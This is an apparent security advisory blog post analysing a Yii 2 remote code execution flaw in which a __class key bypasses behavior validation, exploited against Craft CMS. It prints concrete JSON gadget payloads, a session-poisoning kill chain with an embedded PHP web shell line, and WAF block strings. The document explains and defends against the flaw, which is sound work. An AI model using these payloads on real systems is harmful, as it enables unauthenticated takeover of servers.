Double-Crossed by Magic: The Yii 2 Class Confusion RCE
Jan 7, 2026·7 min read
Executive Summary (TL;DR)
Yii 2 failed to validate the `__class` key when attaching behaviors to components. Attackers bypass security checks by providing a valid `class` to satisfy the validator, while sneaking in a malicious `__class` that the object factory prioritizes. This allows for arbitrary object instantiation (RCE), notably exploited in the wild against Craft CMS.
A critical remote code execution vulnerability in the Yii 2 framework caused by a logic disparity between input validation and object instantiation. By exploiting the precedence of the `__class` key over the validated `class` key, attackers can instantiate arbitrary PHP classes, leading to full system compromise.
The Hook: Magic, Mixins, and Mayhem
PHP frameworks love their "magic." It’s what makes them feel clever and concise. Yii 2 is no exception, relying heavily on a feature called Behaviors. Think of behaviors as dynamic mixins—ways to inject methods and properties into a class at runtime without inheritance. It’s a powerful feature, allowing developers to attach functionality like logging or timestamping to components on the fly via configuration arrays.
But here is the catch: powerful dynamic features are often the security engineer's nightmare. In Yii, you can attach these behaviors simply by setting a property that starts with as . For example, sending a configuration like "as myBehavior": { ... } tells the framework to wake up and instantiate an object based on the provided configuration.
This mechanism relies on yii\base\Component::__set. When you assign a value to a property that doesn't exist, this magic method kicks in. It checks if the property name starts with as , and if so, it attempts to attach a behavior. This is the entry point—a feature designed for developer convenience that inadvertently opened a door for attackers to summon arbitrary objects from the depths of the vendor directory.
The Flaw: A Classic Bait and Switch
The vulnerability is a textbook example of a "Time-of-Check to Time-of-Use" (TOCTOU) logic error, or more specifically, a parser differential between the security gatekeeper and the object factory.
The gatekeeper resides in yii\base\Component::__set. To prevent users from instantiating just any class (like a filesystem manager or a shell executor), the code explicitly checks the configuration array. It looks for a class key and verifies that the specified class is a subclass of yii\base\Behavior. If you try to pass SystemShell here, the gatekeeper slams the door because SystemShell is not a Behavior.
However, the object factory—Yii::createObject—is a bit more open-minded. It supports a legacy configuration key: __class. And crucially, it prioritizes __class over class. If both are present, createObject ignores class entirely and builds whatever is defined in __class.
So, the exploit is a bait and switch. The attacker provides a JSON payload with two keys:
class: A valid behavior (e.g.,yii\behaviors\AttributeBehavior) to smile and wave at the gatekeeper.__class: The malicious gadget (e.g.,GuzzleHttp\Psr7\FnStream) which the factory actually builds.
The validator checks class, gives the thumbs up, and passes the entire array to createObject. The factory then sees __class, ignores the validated class, and instantiates the monster.
The Code: The Smoking Gun
Let's look at the vulnerable code in yii\base\Component.php. The logic tries to be safe, but it's checking the wrong thing.
Vulnerable Logic:
// yii\base\Component.php
public function __set($name, $value)
{
// ... checks for setters ...
if (strncmp($name, 'as ', 3) === 0) {
// This is the gatekeeper logic
if (isset($value['class']) && is_subclass_of($value['class'], Behavior::class, true)) {
$this->attachBehavior($name, Yii::createObject($value));
}
}
}Notice the flaw? It only checks $value['class']. It assumes that $value['class'] is the only source of truth for the class name. It is completely unaware that Yii::createObject($value) might look for __class first.
The Attack Payload: An attacker sends this JSON structure (simplified):
{
"as malicious": {
"class": "yii\\behaviors\\AttributeBehavior", // <--- Satisfies is_subclass_of check
"__class": "yii\\rbac\\PhpManager", // <--- Actually instantiated by createObject
"itemFile": "/tmp/evil.php" // <--- Property set on the malicious object
}
}The Fix:
The patch in version 2.0.52 is simple but effective. It explicitly checks if __class is being used and validates it against the same rules.
Patched Logic:
} elseif (
(isset($value['class']) && is_subclass_of($value['class'], Behavior::class, true)) ||
// The new check:
(isset($value['__class']) && is_subclass_of($value['__class'], Behavior::class, true))
) {
$this->attachBehavior($name, Yii::createObject($value));
}The Exploit: Crafting the Chain
Instantiating an arbitrary class is bad, but it doesn't always equal RCE immediately. You need a "gadget"—a class that does something dangerous during its lifecycle (constructor, destructor, or property setting). In the wild, attackers targeted Craft CMS (built on Yii 2) using two primary gadgets.
Gadget 1: The Guzzle Destructor
The library GuzzleHttp is present in almost every modern PHP project. The class GuzzleHttp\Psr7\FnStream has a destructor (__destruct) that calls a user-defined function stored in _fn_close. By instantiating this class, attackers can trigger any zero-argument function, like phpinfo.
Nuclei PoC:
{
"action": "some/vulnerable/action",
"as trigger": {
"class": "yii\\behaviors\\AttributeBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}Gadget 2: The Local File Inclusion (LFI)
This is the nastier one used for actual shell access. Attackers used yii\rbac\PhpManager. This class has a public property itemFile. When initialized, it attempts to include (execute) the file path specified in itemFile.
The Kill Chain:
- Pollution: The attacker sends a request to a page that reflects input into a file on disk. In Craft CMS, they sent a request to the login page with a malicious URL containing PHP code. This URL gets saved into the PHP session file on the server (e.g.,
/var/lib/php/sessions/sess_xyz) under the__returnUrlkey. - Trigger: The attacker sends the
__classpayload to instantiateyii\rbac\PhpManager. - Execution: They set
itemFileto point to the polluted session file (/var/lib/php/sessions/sess_xyz). - Boom:
PhpManagerincludes the session file. The PHP engine parses the file, ignores the junk session data, finds the injected<?php system($_GET['cmd']); ?>, and executes it.
This turns a simple object instantiation bug into full unauthenticated Remote Code Execution.
The Impact: Why You Should Care
This isn't just a theoretical academic finding. This vulnerability has been weaponized in the wild. It was added to CISA's Known Exploited Vulnerabilities (KEV) catalog, which is essentially the "Hall of Fame" for bugs that are actively ruining sysadmins' weekends.
Because Yii 2 is the backbone of major CMS platforms like Craft CMS, the blast radius is massive. An unauthenticated attacker can execute shell commands with the privileges of the web server (www-data). From there, they can dump your database, install crypto miners, pivot to your internal network, or just delete everything for fun.
The CVSS score is 9.0 (Critical), and rightly so. The complexity is high (requiring gadget chains), but the tools to automate this (like Nuclei templates) are publicly available. If your application is exposed, it's not a matter of if, but when.
The Fix: Closing the Loophole
If you are running Yii 2 versions prior to 2.0.52, you are vulnerable. The fix provided by the maintainers is straightforward: upgrade. The patch modifies Component.php to validate __class with the same rigor as class.
Mitigation Strategies:
- Update Immediately: Run
composer update yiisoft/yii2. Ensure you are on2.0.52or higher. - WAF Rules: If you cannot patch immediately (why?), configure your Web Application Firewall to block requests containing
__classin the JSON body, or specific strings likeGuzzleHttp\Psr7\FnStreamoryii\rbac\PhpManager. - Monitor Sessions: Check your PHP session directory for unusually large files or files containing PHP opening tags (
<?php). This is a strong indicator of a session poisoning attempt.
Do not rely on "security through obscurity." This exploit is public, the scanner templates are live, and the bots are scanning.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Yii Framework YiiSoftware | < 2.0.52 | 2.0.52 |
Craft CMS Pixel & Tonic | < 4.4.15 | 4.4.15 |
| Attribute | Detail |
|---|---|
| Attack Vector | Network (HTTP POST) |
| CVSS v3.1 | 9.0 (Critical) |
| CWE | CWE-424 (Improper Protection of Alternate Path) |
| EPSS Score | 78.44% |
| Exploit Status | Active Exploitation / Weaponized |
| Gadgets | GuzzleHttp\Psr7\FnStream, yii\rbac\PhpManager |
MITRE ATT&CK Mapping
The application does not verify that the execution flow takes the expected path, allowing an attacker to bypass authentication or validation checks.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.